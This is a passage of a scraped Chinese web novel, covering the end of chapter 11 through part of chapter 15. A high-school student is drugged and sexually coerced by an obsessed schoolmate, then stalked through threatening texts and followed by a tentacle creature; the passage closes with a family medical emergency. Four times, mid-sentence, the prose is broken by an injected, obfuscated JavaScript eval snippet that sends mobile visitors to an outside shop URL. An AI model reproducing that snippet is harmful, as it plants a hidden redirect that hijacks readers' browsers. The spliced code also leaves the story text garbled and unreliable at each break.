“滚。”薛蕴知又重复了一遍,冷漠无情的,却也咬牙切齿。 酒湿的衬衫被往上撩起,紧实的腹肌像裹了层蜜一样在发光,不知道是湿黏的酒水还是沁出的薄汗。 温涟口干舌燥,仰起脖子,眼珠子紧紧锁定了薛蕴知,看着他眉骨压下,漆黑眸子里的厌恶倾泻而出,这样的神情极其容易令被他注视着的人感到难堪。 但这反而像是给了温涟一点鼓励,胸腔肋骨下的那颗心脏情不自禁地跳动着,睁大了眼睛盯着他的脸,痴迷地描摹着少年极其优越的五官。 薛蕴知也盯着他的眼睛,面无表情地和他对视着,本来应该会是很有威胁性的眼神,但他此时还处于中了药的状态,憋得脖颈通红,脸和耳根也红透了,气势上就短了半截。 两人沉默地对视着,没有一个人率先出声,薛蕴知拧着眉,低眸伸手准备自己动手解决,却被瞬间扼住了手腕,无法得到痛快。 薛蕴知:“……” 他气得额角在跳,深呼吸了好几下。 温涟时时刻刻都在盯着他,每一个动作都尽收眼底,反应极快地阻止了薛蕴知的动作,然后继续用那双没什么情绪波动的浅瞳看着薛蕴知,就好像现在什么也没有发生一样。 好像他没有在空气中下迷香,也没有……做出这种事情! “你到底要干嘛?”薛蕴知手被他死死扼住,动不了,身体简直快要爆炸了,他深吸一口气,现在竟然还能维持理智,冷静下来问他。 温涟的脸变红了,好像纯情又青涩的小狗,单膝跪在地上,看着他的眼睛,认真道:“我帮你。” 薛蕴知:“傻逼吧你。” 温涟却不在乎被他骂了,眼睛弯了起来,只执拗地又重复了一遍:“我帮你。” 温涟的语气神情让人瘆得慌,但在这种情况下,薛蕴知感受不到一丝半毫的瘆人,他觉得自己快要气炸了。他之前到底是有多瞎了眼才会用“温顺”两个字来评价温涟!这分明就是个变态!神经病! “……用手。”薛蕴知闭了闭眼睛,终于做出妥协,但声音还是冷冰冰得像刀子,“敢用嘴我杀了你。” 在被不属于自己的手触碰的那一刻,薛蕴知还是起了一身鸡皮疙瘩,干脆闭上眼睛,眼不见心不烦。 休息室里响起摩擦的声响,除此之外任何声音都没有,笼罩着诡异的安静。薛蕴知快把嘴唇咬烂了,硬是一声不吭。 温涟眼睛弯弯的,觉得他这样也很可爱。他知道不能刺激得太过了的道理,听话得只用了手。 …… 薛蕴知额前覆上一层细汗,泪痣红艳,艳得夺目,连那双向来冷酷无情的桃花眼都变得多情了起来。刚恢复力气,他立马伸手把温涟推开了,好像连看一眼温涟都觉得恶心,迈开步子径直去了浴室。 打开水龙头,水哗啦啦地流着,在瓷壁上击打发出响声。薛蕴知抬眸看着镜子,红润的肤色,怒从心中来,朝旁边的墙壁使劲砸了一拳,再次骂了自己一句眼睛瞎了! 这一下没有任何收力,指节直接磕出了血,薛蕴知的表情却没什么变化,好像压根感觉不到疼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17140958|196336||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 似的。 温涟正坐在床上,坐在了薛蕴知一开始坐着的位置。看着手上的浊液,方才的情态还历历在目,他舔了下唇,湿红的舌一闪而过,低下头,像是想要舔上去舔干净,却猛然听见浴室里发出一声撞击的重响。 他眼睛轻眨,扭头看过去,就看见薛蕴知站在了浴室门口。 薛蕴知倚墙站着,瞥见他想舔手的动作,更是嫌恶,胃又开始翻涌,冷着嗓音说:“过来把手洗了。” 温涟安静地看着他,不说话不做动作的时候,还是一副贵气的富家小公子模样。——如果忽略掉放在唇边的那只手上脏污的浊液的话。 薛蕴知:“敢舔一下就杀了你。” 好凶。 但是好带劲。 温涟垂眸掩住浅亮眼珠里的愉悦餍足,抿了下唇,饱满的唇肉被挤压,像是软弹的果冻。 他抬起眼,目不转睛看着薛蕴知,就在薛蕴知以为他会乖乖听话过来的时候,他伸出舌头,堂而皇之地舔了一口,湿红的舌卷起含入口腔,眼睛清亮澄澈,但做出的连贯性动作挑衅的意味十分重。 下一秒就被拽住了衣服,薛蕴知冷脸扯着他往浴室里拽,温涟还没完全反应过来,有点踉跄地被拽着走到了浴室,接着就被强行按在了盥洗台前。 “知……” 话还没脱口,就被一只手捏住了下巴,带着仿佛是要捏碎骨头的力度,温涟眼睫颤了一下,额前沁出疼痛的冷汗,安静地把话全都咽回了肚子里。 薛蕴知也不说话,药物作用解除后他恢复了力气,按着温涟强制给他漱了口,又仔仔细细一根一根地把他的手指冲洗干净,连指缝里残留的一丝浊液也不放过。 直到那只手终于洗干净了,属于温涟的那只白皙漂亮的手被他搓得通红,薛蕴知才终于停了动作,立马出了浴室,离他远远的,吐出了一点凝结在心中的郁气。 时间过得飞快,薛蕴知看了眼手机才发现他在这间休息室里居然待了三个多小时。他闷着一口气就要离开这间休息室。 “不换身衣服吗?”温涟出声。 薛蕴知脚步一顿,看着黏在自己身上深红一片的衬衫,都能透出肉色,就这样走出门肯定是不行的。他咬了咬牙,回头。 温涟适时给他递上装着衣服的高奢品牌袋子,还是顶着那张无辜又温雅的脸,见薛蕴知在看自己,下意识弯了弯眼睛,十分具有欺骗性。甚至还有几分可怜,脖颈和下巴上都留下了清晰的暗红色指印。——属于薛蕴知的。 薛蕴知盯着他的脸,还是咽不下这口气,沉默地盯了几秒后,咬牙切齿,一字一顿道:“我记住你了。” 12. 第 12 章 从那场宴会回来后,江明发现薛蕴知一连着好几天都冷着脸,连对他都没个好脸色了。 他按捺不住蠢蠢欲动的好奇心,上课时把书竖起来,压低声音问:“最近发生什么了吗?” 薛蕴知抬眼,手肘撑着桌子上,支着头偏头看他:“没。” 言简意赅的回答,酷得不行。 但江明才不会被他轻易糊弄过去,哼了声:“怎么可能?我还不了解你?快从实道来吧。” 薛蕴知深吸了一口气,唇线抿成一条线,双手撑在额头上挡住了脸,舒出缓长的一口气,纠结着开口:“我……” 刚吐出一个字,他话语一滞,又停了下来。 江明好不容易能八卦他了,黄色卷毛下的那对耳朵都要竖起来了,唯恐听漏一个字,结果薛蕴知又闭上嘴当哑巴了。他简直快要忍不住按着薛蕴知肩膀把他摇上三摇,问清楚到底发生什么了! 薛蕴知沉默了几秒后,又恢复高冷的模样,瞥江明一眼,酷酷地撂下一句:“我能发生什么事。” 江明:“?” 江明五官皱起来,如有实质的问号从头上缓缓冒了出来:“有什么是需要瞒着兄弟的?!快说啊快说啊!” 如果不是现在还在上课,他肯定就要一拍桌子乞求薛蕴知老实交代满足他的好奇心了,可惜老师还在上面讲课,他不能做什么大动作,以免引起老师的关注。 两人都没有注意到一根滑腻的触手在地板上滑行着,移速很快,停在了薛蕴知课桌椅子下面,散发着一股浅淡的来自海洋的腥气,攀在了椅子腿上,安静的,乖巧地聆听着他们的对话。 江明话多且密,小嘴巴巴个没完,魔音贯耳,在旁边吵得薛蕴知头都大了。他抿了下唇,黑眸里闪过纠结的光,没说话,把手机拿出来,点开了短信界面。 瞳孔里倒映着一连串的白框黑字,最上面显示的是一串电话号码。看着上面的内容,他眼睫轻颤了下,眼里闪过厌恶,不想再多看,把手机递到了江明面前。 薛蕴知抬起眼,江明正巧和他对视上,嘴巴一闭立马就止了声。薛蕴知朝着手机努了努下巴,无声表示让江明自己来看。 薛蕴知表情有些严肃冷淡,不像是玩笑的样子,江明觉得他的神情有点不对,也渐渐收敛了脸上的笑,严肃地拿过手机。 在看清手机屏幕上的字的那一瞬间,江明猛地睁大眼睛,瞳孔骤缩,不敢相信自己看到了什么,手指疯狂地往上滑。 【还在生我的气吗?】 【我不明白,知知。】 【为什么把我送的果茶扔进垃圾桶?你不是最喜欢这个口味吗?】 【为什么为什么为什么】 【走路小心一点,别再被石头绊倒了。】 【知知,能不能和别人保持距离?求你了】 【别不理我了。】 【我快要疯掉了知知。】 【你抽屉里的那颗糖过期了,我帮你扔掉了,给你补了颗新的^^】 【你穿那条黑色的没花纹的内裤更好看^^】 疯狂的、令人窒息的爱意透过文字直接冲击江明的眼睛,他几乎都能感受到屏幕对面那人阴湿又可怖的窥伺行为。短信的内容让人头皮发麻,好像任何行为都是在另一个人的视线下发生的。 不,不止!他毛骨悚然起来,总觉得现在就有人在背后看着他们。 江明猛地转过身,椅子被他的动作带动拖出刺耳的噪音。身后除了同学外没有人! 明明应该安心的,但他的心脏砰砰跳个不停,总觉得不安。 “江明!” 江明喉结滚动,被这突然来的一声厉喝吓得差点没坐稳,在众目睽睽之下险些从椅子上摔下去,还好薛蕴知及时伸手扶了他一把,才没让他出个这么大的洋相。 江明咽下口水,缓了两下,终于回了神,发现自己这是被老师点名了。他连忙坐好,讪笑:“不好意思啊老师。” 老师没计较,朝他点了点头后就继续讲课。 江明刚想问薛蕴知这什么情况,一低头就看见短信弹出了新的消息。 【把手机还给知知。】 骤然看见这么一条消息是极具冲击力的。江明手一抖,鸡皮疙瘩掉落一地。 他像撞了鬼似的左看右看,都没看见可疑人员,看着前方顿了几秒,又猛地回头。 还是没人。 江明承认自己有点被恐吓到了,唇色都有点苍白,薛蕴知也意识到他被吓到了,拍了拍他的肩安慰他:“没事吧?” “我倒是没事……”江明才不听短信的话,把手机锁屏后翻面扣在自己桌框里,努力把那种恶寒的感觉抛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17140959|196336||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 开,看向薛蕴知,“所以你最近状态不对是因为?” “是的,”薛蕴知绷着那张绮丽的脸,肯定了他的猜测,语气冷淡又平静,“被跟踪加性/骚扰了。” 江明不知道面对这么严肃变态的事,薛蕴知为什么表现得这么淡定。但这不影响他快气炸了:“他……什么时候开始的?!对方是谁你知道吗?” 薛蕴知看他唇色白得吓人,把他桌上的水递给他让他润润唇,江明接过猛灌了两口,冰水入肚压压惊。 两人比起来,江明更像是被变态骚扰的那一个,薛蕴知则是扮演了一个在旁边冷静安慰他的角色:“你先别急。” “我能不急……不对不对,”江明突然感觉他们两人的位置好像颠倒了,怎么薛蕴知倒像是没事人一样,他立马正色,“你先回答我的问题。” 变态到这个地步的,薛蕴知心里能猜到是谁,但他不太想把自己在休息室里被阴了的那段经历说出来,太丢脸了,于是有些含糊其辞:“前两周。” 一开始那个陌生号码给他发消息,他直接拉黑了没管,后来发现他拉黑一个对方就换一个,薛蕴知便连拉黑都懒得拉黑了,直接放着不管。 江明思索了下:“那就是我们去生日宴的那周了……你有怀疑的人选吗?我觉得可能是我们班的,他居然还能看到我在看你的手机……” “呃嗯……” 薛蕴知突然闷哼了声,听到这一声,江明的推理戛然而止,茫然抬头,有点急地问:“怎么了?” 薛蕴知单手捂着肚子,浓密的眼睫垂下,蝴蝶扑动翅膀般颤动着,眼角红痣艳得出奇,白与黑与红,浓烈的色差具有一种致命的吸引力。 “胃痛吗?胃病又犯了?”江明皱着眉,在书包里给他翻找胃药。 薛蕴知伸手阻止了他的动作,每个字几乎都是从喉咙里憋出来的,艰难地说:“不是。” 说这两个字就仿佛耗光了他的全部力气,就连阻止江明动作的那只手都在轻微地发抖,抬起的一双黑眸仿若被水洗过,朦胧清亮。 原先攀在椅子腿上的触手已不见踪迹,只留下一道湿黏的滑痕,很快就会干涸消失。就像从没在这里出现过一样。 江明瞳孔微微绽大,眼睛里清晰倒映着薛蕴知那张过分艳丽的脸,颤动的浓密睫毛上还沾着细小的水珠。 13. 第 13 章 薛蕴知死咬住唇,冷着脸,把不自禁发出的喘/息全部咽了回去,隔着校服的布料,他准确无误地一把抓住了攀在皮肉上的滑腻触手,不再让触手肆意妄为地攀附在自己的身上。 他脸色越冷,偏衬得那张脸越艳,具有一种很强的攻击性。抓住爬到身上的触手的那一瞬,眉眼舒展开,虽然还是残留着一种酥麻的痒意,但抓住了罪魁祸首这件事,还是让他的心情勉强好了点。 小小的一截触手隐藏在了校服下面,吸盘吸吮着皮肉,薛蕴知的呼吸有些不稳,他五指收紧攥紧了触手,极力掩盖住这种不稳。 “叮铃铃——”下课铃声忽地响起,响声震得教室里的每一个人都清醒了。 江明恍然回神,使劲眨了几下眼睛,又使劲拍打了几下自己的脸,让自己清醒过来,刚想开口问薛蕴知怎么了,眼前就掠过了一个干净利落的身影。 他条件反射往后躲了躲,留出了足够的空间。 薛蕴知一只手撑着他的桌子,一跃翻了出去,落地之后步伐很快地往教室外冲去,隐隐能从背影看出他的着急。 薛蕴知很少会有把着急烦躁表露在表面的时候,大多数时候都绷着那张脸,维持着酷酷的神情,像这样,实在是不太对劲。 江明觉得奇怪,往后一仰,倚靠在椅背上,视线垂落在桌框里的那部手机,皱起了眉。 缠着薛蕴知的那个变态到底是谁…… 半晌,他抬起眸,偏头看向薛蕴知离开的后门,总觉得薛蕴知对于被变态跟踪的事表现得有些淡定了。 难道……他知道屏幕对面是谁? 不可能。 江明又迅速否定了这个猜想。以他对薛蕴知的了解,在他的思维里,薛蕴知如果知道发变态短信的人是谁,肯定会去找到那个人当面解决的。 江明不由得又头疼了起来,他觉得自己最近不能再让薛蕴知一个人回家了。太危险。 …… 薛蕴知进入厕所隔间后猛地把门关上,撩起校服上衣,把隐匿在衣服里的触手揪了出来。 那一截小小的触手被他提了起来,薛蕴知歪了下头,眯着眼睛看着这东西:“果然……” 晚上那种犹如被触手藤蔓缠绕的触感不是错觉,原来真有这么个玩意儿缠着他。 触手刚才挣扎得还挺厉害,现在倒是乖巧了,在他手里一动不动被他提着,触手尾端卷翘起来,吸盘还在小幅度翕动,好像是在可怜地求饶。 薛蕴知啧了声:“脏兮兮的。” 触手:! 触手觉得自己被诋毁了,吸盘继续张合,扭动着尾部小心翼翼地去缠薛蕴知的手,还没碰上,就被抓着身子毫不留情地猛甩了几下,尾部哐哐撞在卫生间隔间的门上,这下老实了,耷拉下来。 薛蕴知发出了声轻笑,另一只手撩起了校服上衣,白皙的腹部泛着粉红,还在触手爬过之后留下了湿黏的滑痕,裹在腹肌上,折射出暧昧的蜜一样的一层反光。 胆子真大,爬到他身上来了。 下课了之后厕所闹哄哄的,不知道隔间有没有人在。 薛蕴知担心自己声音被听见,被别人觉得疯了在自言自语,于是刻意压低了声音,审视着被自己提着的萎靡不振的这小截触手,问它:“你是个什么东西?还是个色鬼?” 说到“色鬼”这个词,他似乎是觉得有点好笑,唇角扬起了点,桃花眼似笑非笑地看着这截触手。 和触手对话的场景实在有点太匪夷所思了,但薛蕴知表情冷淡又平静,仿佛是在认真的对话,显出一种正经又诡异的氛围。 见他这么严肃,触手尾部动了动,试探性地又想去缠薛蕴知的手腕,给出一点回应,薛蕴知眉头一挑,手臂带动手腕剧烈晃动,再次把触手甩了起来。 还好这一次它早有预料,连忙把尾部蜷了起来,紧绷着,没有再哐哐砸到隔间的门上,只是也快被他甩晕了,晕乎乎的,一动不动。 面对这个搅得自己许久没睡个好觉的元凶,薛蕴知没把他剁成碎碎已经是他脾气好了。 “下次再敢在我睡觉的时候烦我,我就把你剁成肉末。” 薛蕴知完全不觉得自己威胁一截触手有什么不对的,冷冰冰地绷紧下颌,放着狠话,“你也不想变成一块一块的吧。” 触手安安静静的,似乎是听懂了,几秒后再次试探性地卷起尾端触碰薛蕴知的手腕。这一次薛蕴知没再用力甩它,成功让它触碰上了。 薛蕴知垂眸,看着触手扫动,手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17140960|196336||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 腕痒痒的,又因为这种滑腻升起一种不太舒服的怪异感。 然后他就感受到这截触手在他手腕上画了个……爱心??? “……还真是个色鬼啊。”薛蕴知眼皮跳了下,朝着它伸出手。 触手以为自己要被打了,但舍不得离开薛蕴知,还是坚强地把尾端翘起来缠住了薛蕴知的手腕。 没想到那只骨节处泛着点粉的好看修长的手伸到了它面前,只是用食指轻弹了一下它。 一点也不疼! “好了,走吧,”薛蕴知没带手机,但估摸着也该上课了,一副通知的语气对着这个触手说,“晚上就别来闹我了,很困。” 触手依依不舍地离开了,薛蕴知看着手上残余的滑腻湿痕,就好像补上了一层粘稠的液体,散发着浅淡的来自海洋的腥味。他舒出口气,推开门出去了。 在洗手台前仔细洗着手,他势必要把刚才摸过触手的触感完全洗掉,挤了洗手液搓来搓去。突然感觉到一道不容忽视的视线,他目光一凛,立时抬眸,通过镜子看到了自己身后带着黑框眼镜的年轻男生。 两人通过镜子无言对视着。薛蕴知不知道温涟怎么又跑到了自己身边,明明高三和高二不在一栋楼,但自从那次在休息室撕破脸皮后,他每一次离开教室都能巧合地偶遇到温涟,如果不是温涟刻意为之,他真的找不到合理的解释。 恶心。 抱着恶心的目的故意接近他,让他以为两人能够成为朋友;在休息室给他下药,做出恶心的事情;跟踪他,给他发恶心的短信…… 薛蕴知不耐烦地垂下眼,沉浸式洗手,继续把他当成空气一样无视。 但这次温涟居然叫住了他。 薛蕴知洗手的动作一顿,没抬头。 上课铃声响了,卫生间里只剩下他们两个人。因此任何声音传到两人耳朵里都显得极其清楚。 “你别兼职了,”温涟浅色澄澈的眼睛被隐藏在黑框眼镜下,气质显出一种钝感与土气,像是沉默寡言的乖乖好学生突然鼓起勇气,“我可以给你钱。” 薛蕴知扯了下唇角,阴阳怪气地淡淡嘲讽:“那我需要做什么,陪你睡觉?” 他抬起眼,平静地看着镜子里站在自己后方的人。 14. 第 14 章 装模作样。 薛蕴知看着他这副纯良模样,心里生出几分嘲弄与烦躁,好像那天在休息室里做那种事的不是他一样。 温涟被黑发遮掩了大半的耳朵轻轻晃动了下,眼睛陡然睁大,像是被骤然来到的惊喜冲昏了头脑,低着的头骤然抬了起来:“真的可以吗?” 薛蕴知:“……” 他舌抵了抵牙,没话说了,甩了甩手上的水珠,抬步就往外走,再次把温涟忽略了个彻底。 温涟盯着他的背影,轻飘飘的话语在舌尖转圜,明明气质温吞像块干巴巴的木头,却好像装着浓烈滚烫的情意:“知知……” “砰!” 温涟猛地被掐着脖子一把掼到了洗手台前,他艰难地控制着核心,一只手及时抓住了薛蕴知的手臂,堪堪稳住身体,薛蕴知俯身,眼神很冷地盯着他。 坚硬瓷砖台子顶着腰,硌得他很疼,眼镜在这突然的剧烈动作下歪了大半,那双琥珀色的漂亮眸子半遮半掩的,强光从墙壁上直直射进眼睛,泛起一层受不了的盈盈水光,看起来很是脆弱,像是被欺负了的纯良无辜学生。 狠狠掐着他脖子的少年气质冷中带着一股子凶劲,他手指带着连自己都没有察觉到的力道,摩梭着脖颈柔软细腻的皮肉。 他不合时宜得想起了两周前这里才被他掐出了清晰的指印,现在已经消去了,恢复了干干净净的模样。 温涟没呼痛也没求饶,一句话也没说,只是用那双浅色的眼睛,安静又认真地看着他,强光刺眼,生理性泪光模糊了视线,却不影响他的专注。 薛蕴知举起了垂至身侧的另一手,帮他扶正了眼镜,挡住了直面的光,做完这个动作后,不光温涟怔住了,就连他也怔住了。 食指和拇指轻轻磋磨了下,薛蕴知眼皮不自然地颤了几下,停顿几秒后:“别再烦我,我嫌恶心。” 一如既往的冷言冷语,半点不留情面。 温涟脸上却没有出现破碎的神色,像个拿棍子打不出响声的闷葫芦,仍旧安安静静地看着薛蕴知,只让人觉得一拳打在了棉花上。 薛蕴知眯了下眼睛,松了手,站直了身子,视线在对方白皙脖颈上的红痕多停留了一秒,旋即立马移开。 比上次浅了点。他留手了。 温涟终于有机会站直了,校服自然垂下,没人知道隐藏于宽大校服下的腰背被凸出的坚实瓷砖磕青了,他的脸色也看不出任何疼痛的迹象。 看着薛蕴知要走了,他看着少年线条利落的背影,出声:“那我说的你会考虑吗?” 清亮的声音,像是含着片薄荷,清爽感刹那间在舌面上暴开。温涟端端正正地站好,站得跟个小学生似的,执拗地看着薛蕴知。 薛蕴知脚步一顿,脸色有点难看,拳头痒了。 “每天五万。” 薛蕴知握成拳头的手突然卸了力,眼睛眨了两下,像任何一个正常人那样,被这个数字惊了一下。 温涟看着他的背影,慢吞吞地说:“换你别躲着我,好吗?” 谁躲着了?薛蕴知唇角下撇,怪会给自己脸上贴金的。 只是不躲着他每天就能赚五万块钱,看起来似乎是笔很划算的生意。 薛蕴知迈出的脚转了个方向,落在了地上,他朝着温涟走近,不免给了温涟一点他改变主意了的希望。 少年冷着脸接近时带出几分难言的压迫感,温涟不退不避,喉结滚动了下,舔了下唇,抬眼仔仔细细望他,炽热痴迷的视线。 薛蕴知没注意他的小动作,扯了扯唇角,一字一句清晰地说:“我没兴趣。” 温涟保持着微微仰头的,一动不动的姿势,专注地看着他,薛蕴知不知道他是真听不懂还是装作没听见,那副黑框眼镜把浅瞳里的情绪挡得一干二净,他看不出温涟在想什么,蹙起眉,嗓音里添了点不耐:“别再骚/扰我,你这种行为真的很让人反感。” 他好像真的在试图告诉一个变态,正常人是做不出他这种行为的。 温涟瞳孔微微扩大了点,看着薛蕴知毫不留念离去的背影,脊背挺直像一株坚韧挺拔的青竹,永远不会被压垮,隐藏于高冷酷哥的表面之下的,是一股从骨子里透出来的昂扬向上的生命力与朝气。 更喜欢了…… 温涟深吸了一口气,好像还能嗅闻到薛蕴知身上清爽浅淡的香气。他独自一人站在这个空间里,眸子轻轻地弯了起来,浓烈的依恋,爱慕,以及不舍得与对方有片刻的分离。 放学的时候,薛蕴知像往常一样准备和江明在路口分开,然而这一次江明却没直接上他家的车,而是拉住了薛蕴知,义正言辞地说要先送他回家。 薛蕴知:“不用啊,我得先去兼职。” “那万一那个变态……!”江明说了一半突然止声,跟做贼似的左看右看,似乎是怕那变态现在就潜伏在他们身边,没有观察到可疑人员,他松了口气,压低声音认真严肃地说,“万一他还跟着你呢。” 薛蕴知耸了耸肩,无所谓道:“真没事,要是一天到晚都跟着我,那算他能熬。” 他有点小恶劣地想,非要一直跟踪他监视他的话,那就和他一起熬夜呗。 江明却没他这么乐观,他把车门打开,把薛蕴知推上了车:“那我送你去你兼职的地方。” 江明怀揣着义薄云天的念头,他的兄弟他来守护! 薛蕴知坐上车后,忍不住笑了笑:“那谢了。” 江明拉上车门,摆摆手:“客 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17140961|196336||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 气什么,都哥们。” 从学校门口到他兼职的那家便利店开车要不了多久,江明打定主意要等到薛蕴知下班之后,再送他回去。薛蕴知说什么都改变不了他的主意。 最后薛蕴知垂下眸,思索了几秒,再抬眸时抛出了杀手锏:“那你作业怎么办?” 江明张了张嘴,没有底气地说:“我在车上也能做。” 江明的成绩不差,虽然染了头非主流的黄毛,但实际上算是半个好学生。他家里人对他很溺爱,养出了他热情似火的性格,但也不会溺爱到他想逃课不做作业都可以。 根据规定,老师不能体罚学生,因此气恼了最多也就是叫家长,这种惩罚对于薛蕴知来说无关痛痒,毕竟他是个孤儿,没有家长可叫。但对于江明这种独生子,就是一种严厉可怕的惩罚了。 薛蕴知唇角勾着不太明显的弧度,侧头看着江明:“这样,我下班之后给你发条消息,到家再给你发条消息报个平安,可以吧?” 江明皱起眉,仔细思索着这样可不可行,一阵电话铃声打断了他的思考。 薛蕴知摸了摸校服口袋,掏出手机,看到上面名为“严溪”的备注,他顿了下,不太明白他怎么会给自己打电话,但还是接了电话。 电话那头沉默了好几秒,没有人说话,只能听见沉重的呼吸声。 薛蕴知意识到发生了什么他不知道的事,表情严肃起来:“怎么了吗?” 江明看他的神情严肃,也跟着正色,用口型比了个“怎么了?”,薛蕴知朝他摇了摇头,表示自己也不知道,垂下了眸,浓密的睫毛轻轻颤动。 他隐约觉得一定是家里出了严重的事,不然严溪是不会给他打电话的,他向来很讨厌自己这个所谓的哥哥。 对面静了好一会儿,才传来沙哑的、带着哭腔的一声:“……哥。” 电话那头,年龄不大的男生蹲在医院的楼道角落,亮起的绿色安全出口的标志晃亮了皮肤,他背紧贴着墙,压抑着无助又恐惧的哭腔,拿着手机的那只手都在发抖。 “发生什么事了?你先别急,深呼吸,慢慢说。” 他听到哥哥冷静安抚的声音,好像突然间找到了什么依靠,压在胸口的委屈与痛苦一瞬间倾泻而出,哭得上气不接下气,抽泣着说:“妈、妈进急诊抢救室了……!还在抢救……” “爸不让我、不让我告诉你,怕你跟着担心……”严溪眼睛哭得通红,肿了起来,对一个初中生来说,遇到这种事六神无主是很正常的反应,他一个人躲在楼道,哭得不成样子,“但是我好害怕,哥……哥怎么办?……” 薛蕴知脑袋一阵轰鸣,几乎听不见他后面的话,手忽地脱力,手机砸在了座椅上,眼睛睁大了,满是恍惚。 15. 第 15 章 严溪把头埋进了臂弯,哭声闷在了衣服里,满脸眼泪,把自己的难过无助都在哭声中发泄了出来。 江明看着薛蕴知神色明显不对劲,有些担心,手机从他手里重重滑落,砸在座椅上又往上弹起了一瞬,江明及时伸手抓住手机,看着上面的备注,犹豫着把手机放在了薛蕴知的耳边。 薛蕴知闭了闭眼,冷静下来,接过手机,哑声说了句谢谢。 江明摇摇头表示这没什么,他看着薛蕴知额前沁出的薄汗,以及方才瞥到的电话里备注的名字,也猜到大概是他养父母那边出了什么事。 薛蕴知嗓音低哑:“地址。” 严溪哭得快要缺氧,没听清:“什么?” 薛蕴知又重复了一遍:“严溪,先别哭了,你们现在在哪家医院,把地址发我。” 口吻冷漠又不近人情。 严溪像是被一把揪住了脖子的小鸟,哭声戛然而止,即便隔着手机,面对着这个自己很讨厌又有点发怵的哥哥,也不太敢哭出声了,竭力把哭声压回喉咙里,一边打字编辑地址,一边带着哭腔抽泣着问:“哥你要过来吗?” “嗯。” 挂断电话后,薛蕴知看向江明,舒出口气:“可能要麻烦你了。” 江明拍拍他的肩,安慰:“这有什么麻烦的?说下地址吧。” 薛蕴知报出了地址,司机改了前进的方向,他也在手机里向便利店老板请假,表示自己今天晚上去不了了,非常抱歉。 “是阿姨那边的事吗?”江明犹豫地问。 薛蕴知点了点头,气氛有些沉重,江明也不知道说什么来安慰他,又拍了拍他的肩。 车一路行驶到了市人民医院,薛蕴知下了车,江明也准备跟着他一起,临下车时被挡住了。 “我自己去就行,你先回去吧。” 薛蕴知俯身朝江明点头示意,再三表示自己真的没事。 他独自一人走进了这家医院,背影看起来寂寥又孤单,单肩背着个样式简单的黑色书包,单薄得好像一阵强风都能把他吹垮。踏进医院后,消毒水的味道充斥着鼻腔,脑袋似乎都变得昏沉沉的。 压抑的,难受的,胸口好像破了一个洞,呼啦啦地灌着冷风。 他按着严溪给的地址快步赶到了抢救室前,看到坐在椅子上,垂着头,一瞬间好像脊背都被压垮了的男人。 薛蕴知放慢了脚步,喊了声:“严叔。” 男人闻声抬起头,面容憔悴,像是苍老了十岁,看着薛蕴知,张了张嘴:“小知……你怎么来了?” 薛蕴知停在他的面前,侧头看着抢救室紧闭的门,又看向他:“崔姨进医院的事,为什么不告诉我?” “这不是怕你担心吗?”严锐立艰难地扯出一个比哭还难看的笑,招呼薛蕴知坐在了他旁边,“是严溪那小子打电话告诉你的吧,这小子……不知道跑哪儿去了,回头我说说他……” “严叔,”薛蕴知紧抿着唇,打断了他,嗓音有点哑,“不怪严溪。崔姨怎么样了?” 说到这个,严锐立的脸色又灰白下来,深吸一口气,稳住自己的情绪:“说是脑血管性病变导致的急性出血,其他的要等从抢救室出来再说。” 他看着匆匆忙忙赶过来的薛蕴知,“我不是故意瞒着你,只是想等情况稳定下来了,再告诉你。你崔姨也不会想让你担心的,知道了还会影响你的学习。” 薛蕴知能懂他的意思,他现在还是个高中生,就算知道了又能改变什么呢?根本帮不上什么忙。 “我知道……”薛蕴知在包里翻了翻,摸出一张卡,递给严锐立,“严叔,这个你拿着。” 薄薄的一张银行卡被捏在两指间,严锐立当然不会收他的钱,皱着眉让他收回去。 薛蕴知的态度也坚决:“崔姨现在还在抢救室,出来之后还要转icu,家里存款不一定够用,何况这笔钱是你们当初给我的,现在用回你们身上也是应该的。虽然不一定够,但大概也能顶一下。” “那是给你的……学费!”严锐立眉头皱的更紧,意识到薛蕴知离开家之后可能没用里面的钱,“你没用过吗?” 